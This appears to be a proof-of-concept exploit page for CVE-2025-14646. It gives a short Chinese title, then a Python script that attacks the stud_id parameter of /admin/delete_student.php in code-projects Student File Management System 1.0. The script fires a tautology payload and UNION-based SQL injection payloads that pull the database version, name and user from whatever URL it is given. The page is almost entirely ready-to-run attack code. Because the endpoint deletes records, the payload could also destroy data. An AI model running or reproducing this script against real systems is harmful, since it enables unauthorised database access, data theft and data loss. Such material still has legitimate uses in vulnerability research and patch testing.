CVE-2025-14646 code-projects Student File Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-14646 SQL Injection PoC # Target: code-projects Student File Management System 1.0 # Endpoint: /admin/delete_student.php # Parameter: stud_id def exploit(target_url, stud_id_payload): """ Exploit SQL injection in delete_student.php """ target = target_url.rstrip('/') + '/admin/delete_student.php' # SQL injection payload for stud_id parameter params = { 'stud_id': stud_id_payload } try: response = requests.get(target, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def test_basic_injection(target_url): """ Basic SQL injection test - causes SQL error """ payload = "1' OR '1'='1" print(f"[*] Testing basic injection with payload: {payload}") result = exploit(target_url, payload) return result def extract_db_version(target_url): """ Extract database version using UNION injection """ # Common UNION-based injection to get DB version payload = "1' UNION SELECT NULL,version(),database()-- -" print(f"[*] Extracting database info with payload: {payload}") result = exploit(target_url, payload) return result def extract_users(target_url): """ Extract database users """ payload = "1' UNION SELECT NULL,user(),NULL-- -" print(f"[*] Extracting database users with payload: {payload}") result = exploit(target_url, payload) return result if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/student_file_management_system") sys.exit(1) target_url = sys.argv[1] print("=" * 60) print("CVE-2025-14646 SQL Injection PoC") print("Target: Student File Management System 1.0") print("=" * 60) # Test basic injection test_basic_injection(target_url) # Extract database version extract_db_version(target_url) # Extract database users extract_users(target_url) print("\n[*] Exploitation complete. Check responses for data leakage.")